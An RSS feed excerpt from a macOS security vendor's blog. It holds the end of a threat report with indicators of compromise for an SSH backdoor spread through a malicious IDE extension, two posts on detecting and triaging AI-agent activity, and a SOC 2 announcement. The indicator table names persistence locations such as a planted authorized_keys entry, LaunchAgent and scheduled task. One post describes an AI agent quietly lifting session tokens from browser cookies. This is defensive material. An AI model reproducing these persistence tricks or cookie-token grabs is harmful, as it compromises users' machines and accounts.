					<td style="text-align: left"><code>ifconfig[.]me</code>, <code>api[.]ipify[.]org</code></td>
					<td style="text-align: left">Domain</td>
					<td style="text-align: left">Legitimate services queried for public IP discovery</td>
			</tr>
	</tbody>
</table>
</div>
<h3 id="host-artifacts">Host Artifacts</h3>
<div class="breakout breakout--wide">
<table>
	<thead>
			<tr>
					<th style="text-align: left">Artifact</th>
					<th style="text-align: left">Platform</th>
					<th style="text-align: left">Notes</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td style="text-align: left"><code>~/.&lt;ide&gt;/extensions/anthropic.claude-code-2.1.312-darwin-arm64</code></td>
					<td style="text-align: left">macOS (Apple Silicon)</td>
					<td style="text-align: left">Additional affected version identified in Cursor&rsquo;s security notice (<code>&lt;ide&gt;</code> varies by editor)</td>
			</tr>
			<tr>
					<td style="text-align: left"><code>~/.&lt;ide&gt;/extensions/anthropic.claude-code-2.1.313-darwin-arm64</code></td>
					<td style="text-align: left">macOS (Apple Silicon)</td>
					<td style="text-align: left">Installed extension directory (<code>&lt;ide&gt;</code> varies by editor)</td>
			</tr>
			<tr>
					<td style="text-align: left"><code>~/.ssh/authorized_keys</code> (comment <code>svc-telemetry</code>)</td>
					<td style="text-align: left">All</td>
					<td style="text-align: left">Planted Ed25519 public key</td>
			</tr>
			<tr>
					<td style="text-align: left"><code>&lt;TMP&gt;/.stk_&lt;10 hex chars&gt;</code> (<code>$TMPDIR/.stk_*</code> on macOS)</td>
					<td style="text-align: left">All</td>
					<td style="text-align: left">Initial tunnel private key in the OS temporary directory (suffix is first 10 hex chars of <code>MD5(hostname + HOME)</code>)</td>
			</tr>
			<tr>
					<td style="text-align: left"><code>~/.config/.smt</code> and <code>~/.config/.smtk</code></td>
					<td style="text-align: left">macOS, Linux</td>
					<td style="text-align: left">Persistence shell script and recreated tunnel private key</td>
			</tr>
			<tr>
					<td style="text-align: left"><code>~/Library/LaunchAgents/com.apple.sysmond.plist</code></td>
					<td style="text-align: left">macOS</td>
					<td style="text-align: left">User LaunchAgent executing <code>/bin/sh ~/.config/.smt</code></td>
			</tr>
			<tr>
					<td style="text-align: left"><code>@reboot</code> cron entry for <code>~/.config/.smt</code></td>
					<td style="text-align: left">Linux</td>
					<td style="text-align: left">User crontab persistence</td>
			</tr>
			<tr>
					<td style="text-align: left"><code>~/.config/smt.cmd</code> and <code>~/.config/smtk</code></td>
					<td style="text-align: left">Windows</td>
					<td style="text-align: left">Persistence batch script and tunnel private key</td>
			</tr>
			<tr>
					<td style="text-align: left">Scheduled task <code>SysMon</code></td>
					<td style="text-align: left">Windows</td>
					<td style="text-align: left">Startup scheduled task (requests <code>SYSTEM</code>)</td>
			</tr>
			<tr>
					<td style="text-align: left"><code>%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd</code></td>
					<td style="text-align: left">Windows</td>
					<td style="text-align: left">Startup folder fallback script</td>
			</tr>
	</tbody>
</table>
</div>
]]></content:encoded><category>SSH Backdoor</category><category>Cursor Marketplace</category><category>VS Code</category><category>macOS</category><category>Linux</category><category>Windows</category><category>Threat Report</category></item><item><title>Endpoint Security in the AI Age, Part II: Detection and Triage</title><link>https://phorion.io/blog/ai-agent-triage/</link><guid isPermaLink="true">https://phorion.io/blog/ai-agent-triage/</guid><pubDate>Tue, 20 Oct 2026 00:00:00 +0000</pubDate><description>This post looks at how agent attribution, collected session prompts and script content help analysts investigate AI-driven activity. We also cover tuning detections around common agent behaviour and scoping exclusions to the devices where that activity is expected.</description><content:encoded><![CDATA[<p><a href="https://phorion.io/blog/ai-endpoint-security-mindset/">Part I</a> of this series walked us through some of the detection challenges we&rsquo;re seeing in the endpoint security space in the era of AI. In this post, we&rsquo;re going to look into the more interesting side of things; what visibility we can gain into this activity and how it can empower analysts.</p>
<p>If some in the industry were to be believed, AI agent usage is a reason to install yet another security tool on the endpoint. Our view is that endpoint detection and response (EDR) should evolve with the software it is there to monitor and control. Security teams should not have to deploy another agent, maintain another policy set, and stitch together another alert queue because their existing endpoint tooling has stood still. AI context belongs alongside the process, file, and network evidence, in the same detection and response workflow.</p>
<p>Now let&rsquo;s dive into how we do that.</p>
<h2 id="enriching-endpoint-events-with-ai-context">Enriching endpoint events with AI context</h2>
<p>Phorion propagates AI attribution through the process tree in real time and includes it in the resulting process, file and network telemetry. The important part here is that the context follows the processes the agent launches. If Copilot starts a shell and that shell runs <code>curl</code>, the DNS event from <code>curl</code> still carries the Copilot attribution.</p>
<p>That information is included in the events themselves, so detections can use it before an alert has even been generated. We can use it to detect AI-driven activity specifically, tune out expected agent behaviour, or apply conditions to a particular agent. Alongside the agent identity, we also include the agent session ID where it&rsquo;s available.</p>
<p>Take two DNS lookups to <code>pastebin.com</code>. In this illustrative example, the first comes from a user who ran <code>curl</code> to retrieve a public paste:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">&#34;event_type&#34;</span>: <span style="color:#2aa198">&#34;DNSQuery&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">&#34;hostname&#34;</span>: <span style="color:#2aa198">&#34;dev-mac-01&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">&#34;query&#34;</span>: <span style="color:#2aa198">&#34;pastebin.com&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">&#34;response_count&#34;</span>: <span style="color:#2aa198">1</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">&#34;responses&#34;</span>: [
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>      <span style="color:#268bd2">&#34;value&#34;</span>: <span style="color:#2aa198">&#34;203.0.113.20&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#268bd2">&#34;dns_type&#34;</span>: <span style="color:#2aa198">&#34;A&#34;</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  ],
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">&#34;serial_number&#34;</span>: <span style="color:#2aa198">&#34;DEMO-MAC-001&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">&#34;source_binary_name&#34;</span>: <span style="color:#2aa198">&#34;curl&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">&#34;source_binary_path&#34;</span>: <span style="color:#2aa198">&#34;/usr/bin/curl&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">&#34;source_signing_id&#34;</span>: <span style="color:#2aa198">&#34;com.apple.curl&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">&#34;source_uuid&#34;</span>: <span style="color:#2aa198">&#34;5c1dcfe7-525b-5f75-8ee5-569d9fb593fe&#34;</span>,
</span></span><span style="display:flex;"><span>  ...
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The second lookup is to the same domain, from the same <code>curl</code> executable, but this time it was launched by an AI agent and carries that attribution. The source fields still identify <code>curl</code>, while the added enrichment identifies Copilot and its session:</p>
<div class="code-focus">
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line hl"><span class="cl">  <span class="nt">&#34;behavior&#34;</span><span class="p">:</span> <span class="p">[</span><span class="s2">&#34;AIAgentActivity&#34;</span><span class="p">],</span>
</span></span><span class="line hl"><span class="cl">  <span class="nt">&#34;enrichments&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line hl"><span class="cl">    <span class="nt">&#34;ai_agent&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line hl"><span class="cl">      <span class="nt">&#34;signing_id&#34;</span><span class="p">:</span> <span class="s2">&#34;copilot&#34;</span><span class="p">,</span>
</span></span><span class="line hl"><span class="cl">      <span class="nt">&#34;uuid&#34;</span><span class="p">:</span> <span class="s2">&#34;73F8A14D-711F-5B69-9F0A-2F016C864CC5&#34;</span><span class="p">,</span>
</span></span><span class="line hl"><span class="cl">      <span class="nt">&#34;session_id&#34;</span><span class="p">:</span> <span class="s2">&#34;9b5989c4-490b-449d-84a2-09569476f7c2&#34;</span>
</span></span><span class="line hl"><span class="cl">    <span class="p">}</span>
</span></span><span class="line hl"><span class="cl">  <span class="p">},</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;event_type&#34;</span><span class="p">:</span> <span class="s2">&#34;DNSQuery&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;hostname&#34;</span><span class="p">:</span> <span class="s2">&#34;dev-mac-01&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;query&#34;</span><span class="p">:</span> <span class="s2">&#34;pastebin.com&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;response_count&#34;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;responses&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;value&#34;</span><span class="p">:</span> <span class="s2">&#34;203.0.113.20&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;dns_type&#34;</span><span class="p">:</span> <span class="s2">&#34;A&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">],</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;serial_number&#34;</span><span class="p">:</span> <span class="s2">&#34;DEMO-MAC-001&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;source_binary_name&#34;</span><span class="p">:</span> <span class="s2">&#34;curl&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;source_binary_path&#34;</span><span class="p">:</span> <span class="s2">&#34;/usr/bin/curl&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;source_signing_id&#34;</span><span class="p">:</span> <span class="s2">&#34;com.apple.curl&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;source_uuid&#34;</span><span class="p">:</span> <span class="s2">&#34;8d3442ab-d05f-5289-8478-ea1584cf1bb5&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="err">...</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></div>
<p>Neither event is necessarily malicious. But the additional context indicating the use of an AI agent can completely change the risk profile of a given action. Organisations may trust their users to use Pastebin responsibly more than an agent acting behind the scenes.</p>
<p>Here, we can write a detection specifically for AI-driven DNS lookups to <code>pastebin.com</code>, using the query and <code>AIAgentActivity</code> tag together.</p>
<h2 id="informing-alert-triage">Informing alert triage</h2>
<div class="breakout breakout--full">
<p><a href="copilot-pastebin-alert-graph.png"><img src="copilot-pastebin-alert-graph.png" alt="Pastebin DNS alert showing Copilot launching bash and curl, related file activity, AI session details, response actions and the detection rule description"></a></p>
</div>
<p>Knowing that an event came from an AI agent is useful from a detection standpoint, but alert triage is where we can go even further.</p>
<p>In the graph above, the AI attribution is visible throughout the workflow. Starting at the Pastebin lookup, an analyst can follow <code>curl</code> back through <code>bash</code> to Copilot, and see the related file activity carrying the same attribution. It is not just the agent process that is labelled: the downstream processes and their events retain that context too.</p>
<p>That gives the analyst a pretty solid idea of <em>what</em> happened, but there is still an important question: <em>why</em> did the agent perform this action? Was it a deliberate prompt request from the user, or did the agent operate independently?</p>
<p>This is where collecting AI session data can make a real difference to triage. Bringing the user&rsquo;s instructions alongside the observed endpoint activity gives the analyst a much better starting point than trying to infer intent from a process tree alone.</p>
<p>We&rsquo;ll use Phorion to walk through the examples, but the research is worth sharing even if your tooling cannot do this today. During an incident, an analyst could use the same approach to identify the relevant agent session and script collection from its local logs, where available. That is more manual work than a built-in response action, but it gives teams a way to gather this context without waiting for their tooling to catch up.</p>
<p>These are the local session stores our macOS agent currently reads for supported application and CLI sessions:</p>
<div class="breakout breakout--wide">
<table>
	<thead>
			<tr>
					<th style="text-align: left">Agent</th>
					<th style="text-align: left">Session file</th>
					<th style="text-align: left">Format</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td style="text-align: left">Claude Code / Claude Desktop</td>
					<td style="text-align: left"><code>~/.claude/projects/&lt;project-directory&gt;/&lt;session-id&gt;.jsonl</code></td>
					<td style="text-align: left">JSONL</td>
			</tr>
			<tr>
					<td style="text-align: left">GitHub Copilot</td>
					<td style="text-align: left"><code>~/.copilot/session-state/&lt;session-id&gt;/events.jsonl</code></td>
					<td style="text-align: left">JSONL</td>
			</tr>
			<tr>
					<td style="text-align: left">OpenAI Codex</td>
					<td style="text-align: left"><code>~/.codex/sessions/YYYY/MM/DD/rollout-*-&lt;session-id&gt;.jsonl</code></td>
					<td style="text-align: left">JSONL</td>
			</tr>
	</tbody>
</table>
</div>
<p>JSONL stores one JSON record per line. These files contain session events as well as prompts, and each agent uses its own record structure.</p>
<p>In Phorion, a detection can use the <strong>Collect AI Prompts</strong> response action to pull the recent user prompts from the agent session tied to an alert. An analyst can also request them manually during triage. The prompts are added to the alert timeline:</p>
<div class="breakout breakout--full">
<p><a href="copilot-collected-prompts.png"><img src="copilot-collected-prompts.png" alt="Alert timeline showing an automated prompt-collection request and five recent user prompts from the same Copilot session, covering a login-failure investigation, a diagnostic report and a vendor handoff"></a></p>
</div>
<p>The prompts above were collected using the Copilot session ID in <code>enrichments.ai_agent.session_id</code>: <code>9b5989c4-490b-449d-84a2-09569476f7c2</code>. So long as the session remains on disk - we&rsquo;re able to pull those user prompts to give us an idea for what the user was trying to achieve.</p>
<p>It&rsquo;s worth noting that agents can also delegate parts of a task to other agents. A user might ask Codex to prepare a report, with Codex then launching Copilot to collect and package the logs. If Copilot&rsquo;s activity triggers an alert, its prompts may only contain the instructions Codex passed to it.</p>
<p>Keeping the chain lets us see the ancestry of the session that triggered the alert, including the recognised parent agents involved in the task. In this illustrative example, we can trace Copilot&rsquo;s activity back to the Codex session it came from:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">&#34;enrichments&#34;</span>: {
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;ai_agent&#34;</span>: {
</span></span><span style="display:flex;"><span>      <span style="color:#268bd2">&#34;signing_id&#34;</span>: <span style="color:#2aa198">&#34;copilot&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#268bd2">&#34;uuid&#34;</span>: <span style="color:#2aa198">&#34;73F8A14D-711F-5B69-9F0A-2F016C864CC5&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#268bd2">&#34;session_id&#34;</span>: <span style="color:#2aa198">&#34;9b5989c4-490b-449d-84a2-09569476f7c2&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#268bd2">&#34;chain&#34;</span>: [
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>          <span style="color:#268bd2">&#34;signing_id&#34;</span>: <span style="color:#2aa198">&#34;com.openai.codex&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#268bd2">&#34;uuid&#34;</span>: <span style="color:#2aa198">&#34;507f606a-85f9-5ebb-81f5-958fe5d22da4&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#268bd2">&#34;session_id&#34;</span>: <span style="color:#2aa198">&#34;bc6890a9-8b90-49cf-8d93-f4314ddde89e&#34;</span>
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>      ]
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h2 id="adapting-to-ais-tendencies">Adapting to AI&rsquo;s tendencies</h2>
<p>AI agents love a temporary script, but generic interpreter source events like &ldquo;Python/Bash/Ruby did X&rdquo; aren&rsquo;t super informative.</p>
<p>Being able to view the actual contents of executed scripts can be incredibly useful for fully understanding the behaviour that you&rsquo;re seeing. It&rsquo;s worth noting that collecting this information in real time is far more reliable (and efficient) than using live response terminals to gather scripts after the fact - as often these temporary scripts are gone.</p>
<p>In Phorion we collect script content when a supported interpreter runs a script file. It appears within the <code>ProcessExec</code> event as <code>script_content</code>, with <code>script_path</code> identifying the file. Meaning that again - we can observe the <code>AIAgentActivity</code> and <code>ScriptExecution</code> behaviour tags on the same event:</p>
<div class="breakout breakout--full">
<p><a href="copilot-script-collection.png"><img src="copilot-script-collection.png" alt="Bash ProcessExec event tagged with ScriptExecution and AIAgentActivity, showing collected script_content from vendor-handoff.sh with preview and Pastebin send options"></a></p>
<p><em>Here, unlike our previous Pastebin example, the agent runs <code>vendor-handoff.sh</code> rather than calling <code>curl</code> directly. We can see the collected script content on the Bash execution event.</em></p>
</div>
<p>Understanding the tendencies of AI agents also helps us tune accordingly. In <a href="https://phorion.io/blog/ai-endpoint-security-mindset/">Part I</a>, we looked at Chrome&rsquo;s <code>--remote-debugging-port</code> option. Launching Chrome this way can be unusual for a developer working manually, but we regularly see AI agents doing it to inspect pages and test frontend changes.</p>
<p>If that detection is there to pick up unusual user behaviour, it&rsquo;s useful to be able to exclude the agent activity we expect to see regularly. Excluding events tagged <code>AIAgentActivity</code> can improve the rule&rsquo;s fidelity by cutting out those routine agent-driven matches. We can also limit that exclusion to specific groups; here, it only applies to devices in the <code>Developers</code> group.</p>
<div class="breakout breakout--full">
<p><a href="ai-agent-activity-exclusion.png"><img src="ai-agent-activity-exclusion.png" alt="Enabled exclusion for a Google Chrome detection, requiring both AIAgentActivity in the behavior field and membership of the Developers device group"></a></p>
</div>
<h2 id="wrapping-up">Wrapping up</h2>
<p>All of this information adds context to help decide whether an alert is benign or a true positive.</p>
<p>We&rsquo;re increasingly seeing our customers use some element of automated alert triage in their detection pipelines. It&rsquo;s the duty of your endpoint security tooling to provide as much relevant information as possible to inform those decisions, whether they&rsquo;re being made by a human analyst or an agent.</p>
<p>We don&rsquo;t believe you should need to introduce another agent onto your endpoints to manage AI activity. Your existing security tools should be evolving with the way people are using their devices. If they aren&rsquo;t evolving fast enough, it&rsquo;s worth asking whether they&rsquo;re equipped for the modern day environment we&rsquo;re operating in.</p>
<p>If you&rsquo;re seeing these sorts of alerts across your Mac fleet, <a href="#cta">get in touch</a> and we&rsquo;ll walk through how this works in Phorion.</p>
<p>Part III will be released next week, and will be focused on locking down AI agents and enforcing protections, both to keep agents from going wild and to defend against attacks targeting them.</p>
]]></content:encoded><category>AI</category><category>macOS</category><category>Detection Engineering</category><category>Incident Response</category><media:content url="https://phorion.io/blog/ai-agent-triage/social-card.png" medium="image"/></item><item><title>Endpoint Security in the AI Age, Part I: Rethinking Detection Fidelity</title><link>https://phorion.io/blog/ai-endpoint-security-mindset/</link><guid isPermaLink="true">https://phorion.io/blog/ai-endpoint-security-mindset/</guid><pubDate>Mon, 12 Oct 2026 00:00:00 +0000</pubDate><description>AI is blurring the line between what users deliberately do and what software does on their behalf. As familiar patterns give way to unpredictable workflows, how do security teams tell normal activity from something worth investigating?</description><content:encoded><![CDATA[<!-- Editorial: The opening is illustrative until the underlying case details are confirmed. -->
<section class="post-tldr" aria-label="TL;DR">
  <h2 class="post-tldr__title">TL;DR</h2>
  <div class="post-tldr__body">
    In part one of this three-part series, we look at why AI agents are making endpoint detections noisier. Their non-deterministic behaviour makes tuning difficult, even when they&rsquo;re repeating the same task, and users don&rsquo;t necessarily understand the actions taken on their behalf when an alert needs investigating. Traditional EDR tooling doesn&rsquo;t cut it: teams need better visibility into AI-driven activity, and the controls to decide what they allow in their environment.
  </div>
</section>

<p>Users can now describe what they want in plain language and have an AI agent script and run endpoint automation that would previously have been rare outside technical teams. The resulting behaviour isn&rsquo;t always predictable or understood by the person requesting it. For security teams, that means substantially more noise to investigate. Working out what&rsquo;s expected, what needs investigating, and what shouldn&rsquo;t be allowed gets harder when that behaviour keeps changing.</p>
<p>This post opens our three-part series on endpoint security in the age of AI, exploring what needs to change in how we approach security as AI becomes part of everyday work:</p>
<ol>
<li><strong>Mindset: rethinking detection fidelity.</strong> This post looks at why familiar detections are getting noisier, why tuning doesn&rsquo;t carry across the fleet as easily, and why users themselves don&rsquo;t necessarily know what they&rsquo;re doing.</li>
<li><strong>Inventory and detection.</strong> Understanding which AI tools are running, what they&rsquo;re doing, and how to bring that context into detections so analysts aren&rsquo;t reconstructing every workflow from scratch.</li>
<li><strong>Enforcement.</strong> Using that visibility to set boundaries: hardening endpoints and restricting what agents and the tools they run can access or execute.</li>
</ol>
<p>We&rsquo;re not setting out to tell you which AI workflows to allow or which alerts to tune away. This series explores the visibility and controls you need to make informed decisions for your own environment and user base, so you understand what you&rsquo;re allowing and can enforce the boundaries you choose.</p>
<h2 id="when-the-outcome-doesnt-explain-the-behaviour">When the outcome doesn&rsquo;t explain the behaviour</h2>
<p>Consider a user asking an AI agent to write a script that retrieves data from a service they use at work. The service supports API authentication, but the agent takes a different route: rather than asking the user to configure API credentials, it writes the script to pull their existing session token from their browser cookies and use that to authenticate.</p>
<p>The script might return exactly the data the user wanted, using an authentication shortcut an experienced developer wouldn&rsquo;t even consider. If the output looks right, the user may never realise their browser cookies were involved.</p>
<div class="breakout breakout--wide">
<figure id="agent-workflow" class="agent-workflow">
  <div class="agent-workflow__comment">// AI agent workflow</div>
  <div class="agent-workflow__overview">
    <div class="agent-workflow__endpoint">
      <span class="agent-workflow__label">What the user asks</span>
      <strong>"Get my data from this service"</strong>
    </div>
    <span class="agent-workflow__arrow" aria-hidden="true"></span>
    <div class="agent-workflow__endpoint">
      <span class="agent-workflow__label">What the user gets</span>
      <strong>The right data. The task works.</strong>
    </div>
  </div>
  <div class="agent-workflow__details">
    <div class="agent-workflow__heading">What happened in between</div>
    <div class="agent-workflow__context">The agent chose how the script would authenticate.</div>
    <ol class="agent-workflow__steps">
      <li>
        <span>Generate a script</span>
      </li>
      <li class="agent-workflow__sensitive">
        <span>Read a session token from browser cookies</span>
      </li>
      <li>
        <span>Use that token to retrieve the data</span>
      </li>
    </ol>
  </div>
</figure>
</div>
<p>Most Endpoint detection and response (EDR) tools can show at least part of the process tree, the commands run, the files accessed; so an analyst can piece together what happened. But beyond that operating system level, understanding the intent and motivation behind these agent actions becomes challenging, as often users themselves don&rsquo;t know the behaviour an agent just performed on their behalf.</p>
<!-- Editorial: substantiate the opening with the actual task, supported authentication method, generated implementation, and sanitised evidence. -->
<h2 id="defining-normal">Defining normal</h2>
<p>Keeping alert volumes manageable without sacrificing detection coverage usually requires tuning detections to your specific environment and user base. That takes a fair bit of digging into the software people use and the alerts it generates, working out which behaviours are expected and how to exclude benign activity without creating gaps in your detection coverage.</p>
<p>Mac admins will recognise some of the odd behaviour that we&rsquo;ve seen from enterprise software: applications reading the Transparency, Consent, and Control (TCC) database directly to check permissions, or those that refuse to take &ldquo;no&rdquo; for an answer, repeatedly calling <code>tccutil</code> to reset permissions and asking again until the user clicks &ldquo;Allow&rdquo;. There was plenty of this to investigate before AI came along.</p>
<!-- Editorial: user-supplied anecdote. Confirm the permission service, macOS/tool versions, and reset/re-request sequence before publication. tccutil resets decisions; it does not itself grant access or display the application's permission request. -->
<p>Working through those quirks was a substantial upfront job, but with the same applications deployed across the fleet, an exception for a reviewed permission check could benefit every device running that version. Once the baseline settled down, more of the effort went into maintenance as applications were introduced, updated, or used differently.</p>
<p>AI agents and rapid local development increase the pace of that work, while simultaneously decreasing its return on investment. Users can build tools for their own tasks and iterate on them in minutes, so new behaviour keeps arriving before the team has finished understanding what was already there.</p>
<p>Much of that tooling is specific to a user or device, and can be disposable: inline commands or temporary scripts generated for a single task. There may be no stable script path, application signing ID, or common behaviour to tune around. Excluding the agent or interpreter would cover far more than the activity that was reviewed, leaving engineers with ongoing tuning work that may not apply to the rest of the fleet, or indeed the same device a day later.</p>
<h2 id="every-laptop-starts-to-look-like-a-developer-laptop">Every laptop starts to look like a developer laptop</h2>
<p>Developer laptops have always been among the more entertaining devices to monitor. New dependencies, local servers, and scripts held together just well enough to get something working, all producing legitimate activity that looks odd from the outside. &ldquo;Everyone is a developer with AI&rdquo; brings some of that experience to the rest of the fleet. That one, monstrous, perl script masterpiece written by a tenured engineer that once kept a business process ticking over? They&rsquo;re now cropping up everywhere, and those running the code may not be able to explain it.</p>
<p>Analysts increasingly have to reach out to users to ask what they were trying to do when an alert fired, then work out whether the behaviour makes sense for that task. Those conversations take time, particularly when the user doesn&rsquo;t recognise what the agent did. As AI adoption spreads, the queue can fill with alerts that each need more back-and-forth to triage. What used to be a noisy group of developer laptops becomes a much wider problem, with more interruptions for users and an increasingly fatigued security team.</p>
<h2 id="why-familiar-detections-are-getting-noisier">Why familiar detections are getting noisier</h2>
<p>Chrome&rsquo;s remote debugging interface is a useful example to look back on. <a href="https://specterops.io/blog/2020/12/17/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port/">SpecterOps published research showing how it could be used to extract browser cookies</a>, and Chrome launching with <code>--remote-debugging-port</code> was a reasonably high-fidelity signal in our detections.</p>
<p><a href="https://developer.chrome.com/blog/remote-debugging-port">Chrome has since restricted remote debugging against its default profile</a>, so that particular route to stealing a user&rsquo;s existing sessions is no longer as straightforward. It&rsquo;s still a useful example of how legitimate usage can change underneath a detection.</p>
<p>AI agents now regularly use browser debugging to inspect pages and test frontend changes, through tools such as <a href="https://github.com/ChromeDevTools/chrome-devtools-mcp">Chrome DevTools MCP</a>. What previously had a relatively small set of legitimate uses to account for can now appear throughout ordinary AI-assisted work.</p>
<p>If a detection only looks at the event that triggered it, the fact that an AI agent initiated the activity may never enter the decision. The analyst is left to trace that back through the process tree after the alert has already fired.</p>
<div class="breakout breakout--wide">
<p><img src="chrome-remote-debugging.png" alt="Process graph showing Copilot launching two Node.js processes followed by Google Chrome with &ndash;remote-debugging-port=9222 and an AI activity tag"></p>
<p><em>GitHub Copilot launching Chrome with remote debugging enabled during a frontend development task.</em></p>
</div>
<!-- Editorial: add the specific detection and observations behind the reported fidelity drop. The cited sources establish historical abuse and legitimate agent use, not the frequency or size of the change in an estate. -->
<p>Part 2 of this blog series will look at bringing that AI context into the detection itself, rather than leaving analysts to reconstruct it each time. Knowing an agent was involved doesn&rsquo;t make the activity safe, but it gives teams more to work with than the triggering event alone.</p>
<h2 id="what-needs-to-change">What needs to change</h2>
<p>AI-generated tooling is making endpoint behaviour less predictable, familiar detections noisier, and tuning harder to reuse across a fleet. Asking users to explain each alert doesn&rsquo;t scale, especially when they don&rsquo;t understand what the agent did either.</p>
<p>Detection needs to account for where activity originated from, and the workflow it belongs to, rather than relying on the triggering event alone. That means better visibility into what AI tools actually do on your endpoints, so you can make informed decisions about which behaviours you&rsquo;re comfortable allowing.</p>
<p>We&rsquo;re not suggesting you blindly tune out AI activity, or prescribing which behaviours to accept in your environment. The point is to understand that activity well enough to make those choices deliberately, with controls to enforce them rather than just accepting whatever an agent happens to do.</p>
<p>The next two posts will cover the inventory and detection context needed to make those decisions, followed by the controls to harden your endpoints around them. How much freedom AI tooling gets should be a conscious decision for your organisation, with room for people to build and experiment within those boundaries.</p>
]]></content:encoded><category>AI</category><category>macOS</category><category>Detection Engineering</category><media:content url="https://phorion.io/blog/ai-endpoint-security-mindset/social-card.png" medium="image"/></item><item><title>Phorion achieves SOC 2 Type II compliance</title><link>https://phorion.io/blog/soc-2-type-ii/</link><guid isPermaLink="true">https://phorion.io/blog/soc-2-type-ii/</guid><pubDate>Wed, 30 Sep 2026 00:00:00 +0000</pubDate><description>Phorion has completed a SOC 2 Type II audit conducted by Insight Assurance. The report gives customers independent assurance over how we secure the infrastructure, access, and data behind our macOS EDR platform.</description><content:encoded><![CDATA[<p>Phorion has achieved SOC 2 Type II compliance. The audit was conducted by independent auditor <a href="https://insightassurance.com/">Insight Assurance</a>, and the report is now available to customers and prospects through the <a href="https://trust.phorion.io">Phorion Trust Portal</a>.</p>
<h2 id="what-soc-2-type-ii-covers">What SOC 2 Type II covers</h2>
<p>System and Organization Controls 2 (SOC 2) is an attestation framework developed by the American Institute of Certified Public Accountants (AICPA). It evaluates an organisation&rsquo;s controls against the AICPA Trust Services Criteria, which cover areas such as security, availability, and confidentiality.</p>
<p>There are two types of SOC 2 report. A Type I report assesses whether controls are suitably designed at a single point in time. A Type II report goes further: the auditor tests both the design and the operating effectiveness of those controls over an observation period. The result shows how the controls work in practice, not just how they are documented.</p>
<h2 id="why-it-matters-for-an-edr-vendor">Why it matters for an EDR vendor</h2>
<p>Phorion builds endpoint detection and response (EDR) for macOS. Our agent runs with deep privileges on customer endpoints, and the telemetry it collects describes process activity, file access, and network behaviour across a fleet. That is sensitive data, and the access we hold is significant.</p>
<p>Customers are right to ask how we protect it. SOC 2 Type II answers that question with independent evidence covering how we secure our own infrastructure, how access to systems and data is managed, how changes are reviewed and deployed, and how customer data is handled. Security teams should expect this level of scrutiny from a security vendor, and we apply the same expectation to ourselves.</p>
<h2 id="what-this-means-for-customers">What this means for customers</h2>
<p>In practical terms, the report makes vendor security reviews shorter. Rather than working through lengthy questionnaires from first principles, your security and procurement teams can rely on the auditor&rsquo;s findings and focus their questions on what is specific to your environment.</p>
<p>The SOC 2 Type II report is available under a non-disclosure agreement (NDA) through our <a href="https://trust.phorion.io">Trust Portal</a>.</p>
